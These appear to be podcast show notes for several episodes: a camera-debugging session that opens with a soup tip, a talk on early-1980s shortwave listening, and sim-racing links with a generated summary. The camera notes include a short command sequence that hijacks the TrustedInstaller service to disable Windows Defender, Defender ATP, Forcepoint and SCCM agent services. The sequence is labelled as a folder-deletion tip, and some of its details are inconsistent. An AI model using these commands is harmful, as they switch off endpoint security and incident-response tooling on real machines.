Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

Egg Drop Soup Hack:
How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.

Camera Setup & Network Config:
Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.

Python & Cron Automation:
Running a custom Python script every 2 minutes to check for new recordings, parsing logs with
grep -v
, and navigating massive log files in
vi
.

Windows Troubleshooting Tangent:
Deleting the stubborn
Windows.old
folder using the TrustedInstaller service hack (
ExecTI.exe
) instead of taking ownership manually.

Time Sync & Firmware Quirks:
Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming
.bin
to
.zip
, and extracting with 7-Zip.

Pre-Flash Backup Routine:
Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

crontab
+ Python scripts for automated monitoring

grep -v
,
cat
,
tail
, and
vi
(line navigation with
:1000
)

Obsidian for note-taking & AI assistant integration

Firefox/Playwright for headless browser testing

Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads

7-Zip for archive extraction

Google Drive for searchable config backups

Resources & Links

Python API Script:

Uniview IPC3628SR Recording Checker

Camera Model:

IPC3628SR
(Uniview Wyze ISP Warm Light Deterrent Network Camera)

TrustedInstaller Run-as Tool:

ExecTI TrustedInstaller Runner

Quick Takeaways

Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.

Use
grep -v "noise"
to quickly filter out repetitive log entries when debugging automation scripts.

Windows system folders can be stubborn; running commands as
TrustedInstaller
bypasses hidden file locks without manual ownership changes.

Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.

Third-party download links often use temporary tokens or
.bin
wrappers; renaming to
.zip
and verifying with 7-Zip can save headaches.

Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.


Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

This show has been flagged as Clean by the host.

Lennart tells about the shortwave radio he had in the early 1980s and what he could hear on it, for example he marine band, amateur radio, CB and of course broadcast stations. The radio did not have a BFO to demodulate SSB stations, but using a second radio close by and using its local oscillator he could still make those signals intelligible.

Provide feedback on this episode.

This show has been flagged as Clean by the host.

Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC





https://www.ebay.com/itm/157554569422




Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Turn Any Surface into a Speaker System





https://www.amazon.com/dp/B001EYEM8C






https://www.simhubdash.com/






https://www.accsetupcomparator.com/






https://www.iracing.com/
( they have buy 2 years get discount during holiday but still can't afford it .. )





https://forza.net/horizon








DiRT Rally 2.0 GOTY





https://k4g.com/store?distribution[]=3&q=DiRT%20Rally%202.0%20GOTY&sort=price








CrewChiefV4





https://thecrewchief.org/






https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252








SUMMARY.



User discusses sim racing challenges, costs, and setup tips.



IDEAS.





Sim racing requires time and investment.



I Racing is expensive with annual costs.



Set of Courses offers one-time payment.



Proper setup enhances sim racing experience.



Cable connections can complicate setup.



Upgrading hardware improves performance.



Arcade games like Forza offer casual play.



Realistic sim racing demands dedication.



License requirements vary between platforms.



Remote gaming systems save space.



Steering wheel upgrades improve smoothness.



Dedicated spaces optimize sim racing.



Balancing fun and realism is key.



Multi-launchers manage gaming platforms.



Hacked accounts may cause issues.



Monitoring hardware wear is important.



Shifting mechanisms enhance control.



Curved monitors improve immersion.



Time constraints affect sim racing participation.



Exploring multiple games adds variety.









RECOMMENDATIONS.





Consider Set of Courses for a one-time payment.



Invest in a proper setup for serious sim racing.



Use a multi-launcher for managing games.



Upgrade hardware for smoother performance.



Buy specific tracks and cars to avoid costs.



Opt for a dedicated space for sim racing.



Check for license requirements before purchasing.



Remote into gaming systems to save space.



Replace plastic parts with bearings for smoother operation.



Use a 7-speed shifter for better control.



Avoid hacked accounts for reliability.



Purchase multiple accounts for different players.



Focus on arcade games for casual play.



Prioritize a curved monitor for immersion.



Use a standing desk for accessibility.



Monitor cable connections to prevent setup issues.



Upgrade steering wheel components for better experience.



Balance fun and realism based on personal preference.



Consider time investment for sim racing.



Explore different racing games for variety.







Provide feedback on this episode.